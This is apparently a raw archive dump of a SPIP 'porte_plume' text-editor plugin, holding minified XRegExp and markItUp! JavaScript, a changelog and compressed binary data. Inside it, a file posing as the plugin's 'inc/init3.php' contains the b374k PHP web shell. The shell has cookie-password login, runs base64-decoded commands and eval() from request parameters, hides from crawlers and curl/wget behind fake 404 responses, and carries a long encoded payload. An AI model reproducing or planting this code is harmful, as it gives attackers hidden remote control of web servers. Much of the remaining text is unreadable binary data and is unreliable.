o=XRegExp.isRegExp(m),l,k,p;if(o&&typeof n.valueOf()==="string"&&n.indexOf("${")===-1&&d){return i.replace.apply(this,arguments)}if(!o){m=m+""}else{if(m._xregexp){l=m._xregexp.captureNames}}if(typeof n==="function"){k=i.replace.call(this,m,function(){if(l){arguments[0]=new String(arguments[0]);for(var q=0;qq.length-3){t=String.prototype.slice.call(r,-1)+t;r=Math.floor(r/10)}return(r?q[r]||"":"$")+t}}else{var u=+v;if(u<=q.length-3){return q[u]}u=l?XRegExp._indexOf(l,v):-1;return u>-1?q[u+1]:s}})})}if(o&&m.global){m.lastIndex=0}return k};String.prototype.split=function(o,k){if(!XRegExp.isRegExp(o)){return i.split.apply(this,arguments)}var q=this+"",m=[],p=0,n,l;if(k===undefined||+k<0){k=Infinity}else{k=Math.floor(+k);if(!k){return[]}}o=o.addFlags("g");while(n=o.exec(q)){if(o.lastIndex>p){m.push(q.slice(p,n.index));if(n.length>1&&n.index=k){break}}if(!n[0].length){o.lastIndex++}}if(p===q.length){if(!i.test.call(o,"")||l){m.push("")}}else{m.push(q.slice(p))}return m.length>k?m.slice(0,k):m}})();RegExp.prototype.addFlags=function(b){var c=XRegExp(this.source,(b||"")+XRegExp._getNativeFlags(this)),a=this._xregexp;if(a){c._xregexp={source:a.source,captureNames:a.captureNames?a.captureNames.slice(0):null}}return c};RegExp.prototype.apply=function(b,a){return this.exec(a[0])};RegExp.prototype.call=function(a,b){return this.exec(b)};RegExp.prototype.forEachExec=function(e,f,c){var d=this.addFlags("g"),b=-1,a;while(a=d.exec(e)){f.call(c,a,++b,e,d);if(!a[0].length){d.lastIndex++}}if(this.global){this.lastIndex=0}};RegExp.prototype.validate=function(b){var a=RegExp("^(?:"+this.source+")$(?!\\s)",XRegExp._getNativeFlags(this));if(this.global){this.lastIndex=0}return b.search(a)===0};XRegExp.cache=function(c,a){var b="/"+c+"/"+(a||"");return XRegExp.cache[b]||(XRegExp.cache[b]=XRegExp(c,a))};XRegExp.escape=function(a){return a.replace(/[-[\]{}()*+?.\\^$|,#\s]/g,"\\$&")};XRegExp.freezeTokens=function(){XRegExp.addToken=null};XRegExp.isRegExp=function(a){return Object.prototype.toString.call(a)==="[object RegExp]"};XRegExp.matchWithinChain=function(e,a,b){var c;function d(g,l){var j=a[l].addFlags("g"),f=[],k,h;for(h=0;h/,function(b){this.captureNames.push(b[1]);this.hasNamedCapture=true;return"("});XRegExp.addToken(/\\k<([\w$]+)>/,function(c){var b=XRegExp._indexOf(this.captureNames,c[1]);return b>-1?"\\"+(b+1)+(isNaN(c.input.charAt(c.index+c[0].length))?"":"(?:)"):c[0]});XRegExp.addToken(/\[\^?]/,function(b){return b[0]==="[]"?"\\b\\B":"[\\s\\S]"});XRegExp.addToken(/(?:\s+|#.*)+/,function(b){return a.test(b.input.slice(b.index+b[0].length))?"":"(?:)"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("x")});XRegExp.addToken(/\./,function(){return"[\\s\\S]"},XRegExp.OUTSIDE_CLASS,function(){return this.hasFlag("s")})})();XRegExp.version="1.2.0"};PK8Q\7Rporte_plume_forcer_hauteur.jsnuW+Afunction barre_forcer_hauteur () { jQuery(".markItUpEditor").each(function() { var hauteur_min = jQuery(this).height(); var hauteur_max = parseInt(jQuery(window).height()) - 200; var hauteur = hauteur_min; var signes = jQuery(this).val().length; if (signes){ /* en gros: 400 signes donnent 100 pixels de haut */ var hauteur_signes = Math.round(signes / 4) + 50; if (hauteur_signes > hauteur_min && hauteur_signes < hauteur_max) hauteur = hauteur_signes; else if (hauteur_signes > hauteur_max) hauteur = hauteur_max; jQuery(this).height(hauteur); } }); } jQuery(window).bind("load", function() { barre_forcer_hauteur(); }); PK8Q\OSXCXCjquery.markitup.jsnuW+APK8Q\/ٟWWCjquery.markitup_pour_spip.jsnuW+APK8Q\͚1& & jquery.previsu_spip.jsnuW+APK8Q\{pxregexp-min.jsnuW+APK8Q\7R[porte_plume_forcer_hauteur.jsnuW+APKLPKQ\ {configuration/prive.tarnuW+Aporte_plume_preview_fonctions.php000066600000001205151451431720013440 0ustar00 configurer/porte_plume.html000066600000000075151451431720012141 0ustar00
                #FORMULAIRE_CONFIGURER_PORTE_PLUME
                porte_plume_preview.html000066600000000422151451431720011533 0ustar00#CACHE{0} [(#HTTP_HEADER{Content-Type: text/html; charset=[(#VAL|pp_charset)]})]
                [(#ENV*{data}|traitements_previsu{#ENV*{champ},#ENV*{objet}}|image_reduire{500,0}|liens_absolus)] [
                (#NOTES)
                ]
                PKQ\H configuration/formulaires.tar.gznuW+AVmOHWlM%'(/$W⸜ DV:'ɪ~[F~vpz-J33ڋ1(屐@PSjkrppPGi5_56<~m/͢IbRFcw{ \*M$@| \QX X, "d`[ $淂M ia߯O;U>BJ#HI*OY8rf TiHA@)_4rO H$Q :H`UX") ITzy@zgX_ GC+郤,H,fXE cM19rr;Ib ݲIalLʯ}#~tOOWnw~<^JJDG1V8 (^t)iʕQz3(BrhX#T+̸Y[C}sv~ 6k0Iyd,/b)( n/eIKGN9 g5 "3 ƍSU&ͷGFazWafc%Ɲ;(̿J\ F^_a-􅧬j :̧ˢqB$`; Cz9sg^Oelǿ:xy>/IұV3&k3gmkݝ/.,{0 dO۹C$3(qzYw9iXK[گhр%p2G}5`Qڇn}zFбӶL<w5yb:j,*v;'#L"U 1<[,vBI~q"MG.!'MtՇc|*H$*%;`y< ؝g';IGC6/8dC+uفp^ nxi=[ۄɷvi5M]rAl Oǻvinlq%-A}[DrV D1 \+XX+kYb#쟴)}lsB>LfۇG G Xނu:O |3W۹B\v# k1Bjx%QdZidkd`7s cs?/"/"+z1PKQ\1,I44"configuration/all_tests.php.tar.gznuW+A]K0wB m7zl(::4*nUD2Pԋ>sz 1 q41<[Īk,kb&mOǪR=I$Nqoeڧ\o$ZH$ߜFq*3_qOzgku SAt~Eسr~ N87GOn$ axܷ ׄ5C1Ȋ˒rI; 4YOOOOXDPKQ\|Fconfiguration/readme.txt.tarnuW+Ahome/yeshuare/www/extensions/porte_plume/markitup/readme.txt000066600000004423151451432570020547 0ustar00markItUp! 1.1.3 CHANGE LOG markItUp! 1.1.3 2008-09-12 - Fixed: IE7 preview problem markItUp! 1.1.2 2008-07-17 - Fixed: Quick fix for Opera 9.5 caret position problem after insertion markItUp! 1.1.1 2008-06-02 - Fixed: Key events status are passed to callbacks properly - Improved: ScrollPosition is kept in the preview when its refreshed markItUp! 1.1.0 2008-05-04 - Modified: Textarea's id is no more moved to the main container - Modified: NameSpace Span become a Div to remain strict - Added: Relative path to the script is computed - Added: Relative path to the script passed to callbacks - Added: Global instance ID property - Added: $(element).markItUpRemove() to remove markItUp! - Added: Resize handle is now optional with resizeHandle property - Added: Property previewInWindow is added and accept window parameter - Added: Property previewPosition is added - Modified: Resize handle is no more displayed in Safari to avoid repetition with the native handle - Modified: Property previewIframeRefresh become previewAutorefresh - Modified: Built-in Html Preview call a template file - Improved: Autorefreshing is now apply for preview in window too - Improved: Cancel button in prompt window cancel now the whole insertion process - Improved: Cleaner markItUp! code added to the DOM - Removed: Depreciated preview properties as previewBaseUrl, previewCharset, previewCssPath, previewBodyId, previewBodyClassName - Removed: Property previewIframe not longer exists - Fixed: "Magic markups" works with line feeds - Fixed: Key events are initialized after insertion - Fixed: Internet Explorer line feed offset bug - Fixed: Shortcut keys on Mac OS - Fixed: Ctrl+click works and doesn't open Mac context menu anymore - Fixed: Ctrl+click works and doesn't open the page in a new tab anymore - Fixed: Minor Css modifications markItUp! 1.0.3 2008-04-04 - Fixed: IE7 Preview empty baseurl problem - Fixed: IE7 external targeted insertion - Added: Property scrollPosition is passed to callbacks functions markItUp! 1.0.2 2008-03-31 - Fixed: IE7 Html preview problems - Fixed: Selection is kept if nothing is inserted - Improved: Code minified markItUp! 1.0.1 2008-03-21 - Removed: Global PlaceHolder - Modified: Property previewCharset is setted to "utf-8" by default markItUp! 1.0.0 2008-03-01 - First public release PKQ\L|22'configuration/porte-plume-24.png.tar.gznuW+AWPJ C 2a%ɐD0 t@A$DI CQ@@r,z ([[=l>_wWcP }'? P(o?rw⌇HҲ>h/@^^l)9)ً.# wKK(Ipp!7Mt騹/tzZ3?cU6@ nt`1>| YbMhncJgƒ$b4ϛa5kMݗCL6z:>"?&nd98shcnJm|_;iMӓ1 -_9gyMB#Z0Rֺ PW -$pgID3|gړ=%i HaH4 I>C䒁;.Ϋ8#xc3IK~V$njʠ|V6@J7.E0-$@u=hf@,&R;}i&`ٳV~qzv/ZȰ>uyKN8 LNpYMbxi0}|3Tpip] xF:o$9;~Kߙ1kK\'v_;w]Y;!U[wHċ\H 3"VkĴ$ sX犯^anɾU@+7Z}!FN>NS`WNwG \$jzIW=*Ň^=/'ʜvp*2>Jf'8@<%{f13AIrzRq|Vz{~uQMR/kT?! \Ou^|t %f}{ǥ\>oc;lW D랤DO' 1Wizo6Œ1kQɓa|NW4FHib>A˳T TO:jYZ*'&0ɔ c At)2"߾c6+ɒHu(_\Y^߳;k9X1kθ.NʐִǙ/Y^KW̢̫e" *^syT} hz$/XZ(ֈg͉0*k) -c3!cXS RR0˒R}A˄!:V2%TʬJ7Yp[KKK766F7foWzh\8k=ʢu yژqL$O!c c]kM{`B)RȲ+"](kDB{!t5Wn mN5{ u M""6cUJRF-lwNFN#LbP/ةׯC]Z$E- 0J/F; Щ(pJuJ_~DUɟyܣ~Upիǫ'_B_ܘX(Zll;ad\ԔffTR@[1B1=JfͶfihSuթW\lh,\D4I1)˙DwV'J9ק)* ^'3;s'9%!ũ*.zז7-EpzHA aY%0vy-uh~̳X'jY= }kYYsU;;;>Ⱦͱهl>N*Us<a+ GNj?^(,J/8~Ph48F.! ?<EaHФvN>oWWC|KdLxRd߽ ͌aț_&?B6u GFGZG F尣%_ZiZYh)S*q9Z]Y 7H\ fο|WREtqsXϱO+MH}Gt9X\cAoUy߄*RV|cy`R~gli{t;svMGj-sV$Vn#ҭ/ /^1S=aiwLZAk[GTKGWf<._ t,p'vv F'.>;CMe֓s|*>$TׄM᥻ ƀ1gM{j֙[㪔|U9K7mnU=;ݎsON(.4?u.- 6`w*L45g vgӻasGu("#FΒ QtQrn)*n.B尟>dgO|KKOizTpg\OGϕ@N۱X%ӵG|E=Xt™rNFEF|"äp6ZnsQʅBg #?($@X2afypP_KRw;UʝٗQ0}PKLwKx))IbGD 6iݟgwWo7IzU qk~X8Gүӥ`fȥx\@u$4i b)Wd{O9< F:R@o+]>n7q(Ŏ1via82p-QhRȱo?\ ?b3o(֕Ѳm;L*Ě鑎M+m5q6Ͷ ̃t cn`b,φV!LE|8k ʞcPN:',oqS/1loQeدc++}F @k6upyA.z&|!β }j)Z0]Be~[4OhW/g4?D#4:qFdWvG4I|o/XMPܵ[e2^PбfV"r5F=\_ lKgiWA?)rbbC'ˌSIJ\2{o+9,~-}N0bxdIt乔427~isW?l}=51l,*ӎSkkhU<+ "PKQ\wconfiguration/init3.php.tarnuW+Ahome/yeshuare/www/extensions/porte_plume/inc/init3.php000066600000512606151451434440017232 0ustar00$v){ if(is_array($v)) $v = print_r($v, true); echo "".hss($k."=>".$v)."
                "; } } else{ error_reporting(0); @ini_set('display_errors','0'); @ini_set('log_errors','0'); } $s_auth = false; if(strlen(trim($s_pass))>0){ if(isset($_COOKIE['b374k'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; } if(isset($_GP['login'])){ $s_login = kript($_GP['login']); if(strtolower(trim($s_pass)) == $s_login){ setcookie("b374k",$s_login,time() + $s_login_time); $s_auth = true; } } if(isset($_GP['x']) && ($_GP['x']=='logout')){ $persist = array("theme", "cwd"); $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):""; foreach($_COOKIE as $s_k=>$s_v){ if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time); } $s_auth = false; if(!empty($s_reload)) header("Location: ".$s_reload); } } else $s_auth = true; if(!empty($_GP['s_pass'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))){ if(isset($_GP['cmd'])) echo exe(base64_decode($_GP['cmd'])); elseif(isset($_GP['eval'])){ $s_code = base64_decode($_GP['eval']); ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); echo $s_res; } else echo $s_title; } die(); } if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } $s_css = "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